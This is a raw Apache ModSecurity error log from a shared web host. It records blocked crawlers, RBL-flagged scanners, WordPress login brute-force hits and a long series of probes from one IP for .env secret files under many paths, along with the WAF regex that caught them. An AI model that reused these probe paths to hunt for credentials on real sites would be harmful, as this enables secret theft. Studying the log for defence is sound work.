https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:04.920132 2026] [security2:error] [pid 531155:tid 531230] [remote 47.128.124.21:34006] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "coscharis-tech.com"] [uri "/product-category/ups/online-ups/"] [unique_id "ai3yECmiP80klyS0NnoJ1wABJUo"] [Sat Jun 13 18:13:04.942220 2026] [security2:error] [pid 531155:tid 531164] [remote 57.141.14.52:46550] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 52.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3yECmiP80klyS0NnoJ2gABegg"], referer: https://nelsonfarmstn.com/product/solid-beeswax-lotion-bar/?add_to_wishlist=550&_wpnonce=8d149de2a5&add-to-cart=368 [Sat Jun 13 18:13:04.985083 2026] [security2:error] [pid 531155:tid 531216] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/2024/.env"] [unique_id "ai3yECmiP80klyS0NnoJ3QABCjw"] [Sat Jun 13 18:13:05.117836 2026] [security2:error] [pid 531155:tid 531268] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/v1/.env"] [unique_id "ai3yESmiP80klyS0NnoJ6AABLHA"] [Sat Jun 13 18:13:05.154939 2026] [access_compat:error] [pid 531155:tid 531215] [remote 57.141.14.28:33190] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:05.155220 2026] [access_compat:error] [pid 531155:tid 531215] [remote 57.141.14.28:33190] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:05.198415 2026] [security2:error] [pid 531155:tid 531162] [remote 17.22.253.138:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 138.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yESmiP80klyS0NnoJ8AABaAY"] [Sat Jun 13 18:13:05.250378 2026] [security2:error] [pid 531155:tid 531175] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/v2/.env"] [unique_id "ai3yESmiP80klyS0NnoJ8wABLRM"] [Sat Jun 13 18:13:05.274252 2026] [security2:error] [pid 531155:tid 531169] [remote 17.241.227.154:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 154.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yESmiP80klyS0NnoJ9wABWA0"] [Sat Jun 13 18:13:05.384025 2026] [security2:error] [pid 531155:tid 531241] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/v3/.env"] [unique_id "ai3yESmiP80klyS0NnoJ_gABIVU"] [Sat Jun 13 18:13:05.391209 2026] [access_compat:error] [pid 531155:tid 531201] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:13:05.391478 2026] [access_compat:error] [pid 531155:tid 531201] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:13:05.412702 2026] [security2:error] [pid 531155:tid 531245] [remote 144.76.119.9:61950] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.119.76.144.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "medredisolutions.com"] [uri "/wp-login.php"] [unique_id "ai3yESmiP80klyS0NnoKAQABF1k"] [Sat Jun 13 18:13:05.516843 2026] [security2:error] [pid 531155:tid 531278] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/api/config/.env"] [unique_id "ai3yESmiP80klyS0NnoKBwABb3o"] [Sat Jun 13 18:13:05.649878 2026] [security2:error] [pid 531155:tid 531275] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/api/core/.env"] [unique_id "ai3yESmiP80klyS0NnoKEwABT3c"] [Sat Jun 13 18:13:05.743715 2026] [access_compat:error] [pid 531155:tid 531195] [remote 57.141.14.22:57078] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:05.743996 2026] [access_compat:error] [pid 531155:tid 531195] [remote 57.141.14.22:57078] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:05.782591 2026] [security2:error] [pid 531155:tid 531156] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/api/app/.env"] [unique_id "ai3yESmiP80klyS0NnoKGgABeAA"] [Sat Jun 13 18:13:05.785127 2026] [security2:error] [pid 531155:tid 531252] [remote 17.241.219.24:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 24.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yESmiP80klyS0NnoKGwABK2A"] [Sat Jun 13 18:13:05.915285 2026] [security2:error] [pid 531155:tid 531213] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/api/test/.env"] [unique_id "ai3yESmiP80klyS0NnoKIQABZTk"] [Sat Jun 13 18:13:05.921834 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:05.922243 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:06.048497 2026] [security2:error] [pid 531155:tid 531192] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/api/dev/.env"] [unique_id "ai3yEimiP80klyS0NnoKMAABhSQ"] [Sat Jun 13 18:13:06.162491 2026] [security2:error] [pid 531155:tid 531194] [remote 17.22.253.250:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 250.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yEimiP80klyS0NnoKNgABMSY"] [Sat Jun 13 18:13:06.182183 2026] [security2:error] [pid 531155:tid 531220] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/api/beta/.env"] [unique_id "ai3yEimiP80klyS0NnoKNwABLEA"] [Sat Jun 13 18:13:06.228767 2026] [access_compat:error] [pid 531155:tid 531222] [remote 57.141.14.7:29451] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:06.229204 2026] [access_compat:error] [pid 531155:tid 531222] [remote 57.141.14.7:29451] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:06.315101 2026] [security2:error] [pid 531155:tid 531197] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/beta/.env"] [unique_id "ai3yEimiP80klyS0NnoKQAABhCk"] [Sat Jun 13 18:13:06.406996 2026] [security2:error] [pid 531155:tid 531187] [remote 17.246.15.149:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 149.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yEimiP80klyS0NnoKRgABDh8"] [Sat Jun 13 18:13:06.415571 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:13:06.415865 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:13:06.448788 2026] [security2:error] [pid 531155:tid 531166] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/prod/.env"] [unique_id "ai3yEimiP80klyS0NnoKSAABPgo"] [Sat Jun 13 18:13:06.477512 2026] [access_compat:error] [pid 531155:tid 531219] [remote 57.141.14.24:29666] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:06.477806 2026] [access_compat:error] [pid 531155:tid 531219] [remote 57.141.14.24:29666] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:06.554017 2026] [access_compat:error] [pid 531155:tid 531160] [remote 57.141.14.85:39930] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:06.554297 2026] [access_compat:error] [pid 531155:tid 531160] [remote 57.141.14.85:39930] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:06.581260 2026] [security2:error] [pid 531155:tid 531185] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/production/.env"] [unique_id "ai3yEimiP80klyS0NnoKTwABFx0"] [Sat Jun 13 18:13:06.625922 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.11:43823] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:06.626181 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.11:43823] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:06.714101 2026] [security2:error] [pid 531155:tid 531211] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/stage/.env"] [unique_id "ai3yEimiP80klyS0NnoKVgABKTc"] [Sat Jun 13 18:13:06.846838 2026] [security2:error] [pid 531155:tid 531217] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/staging/.env"] [unique_id "ai3yEimiP80klyS0NnoKYAABLz0"] [Sat Jun 13 18:13:06.875342 2026] [access_compat:error] [pid 531155:tid 531242] [remote 57.141.14.88:57970] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:06.875690 2026] [access_compat:error] [pid 531155:tid 531242] [remote 57.141.14.88:57970] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:06.968021 2026] [access_compat:error] [pid 531155:tid 531247] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:13:06.968303 2026] [access_compat:error] [pid 531155:tid 531247] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 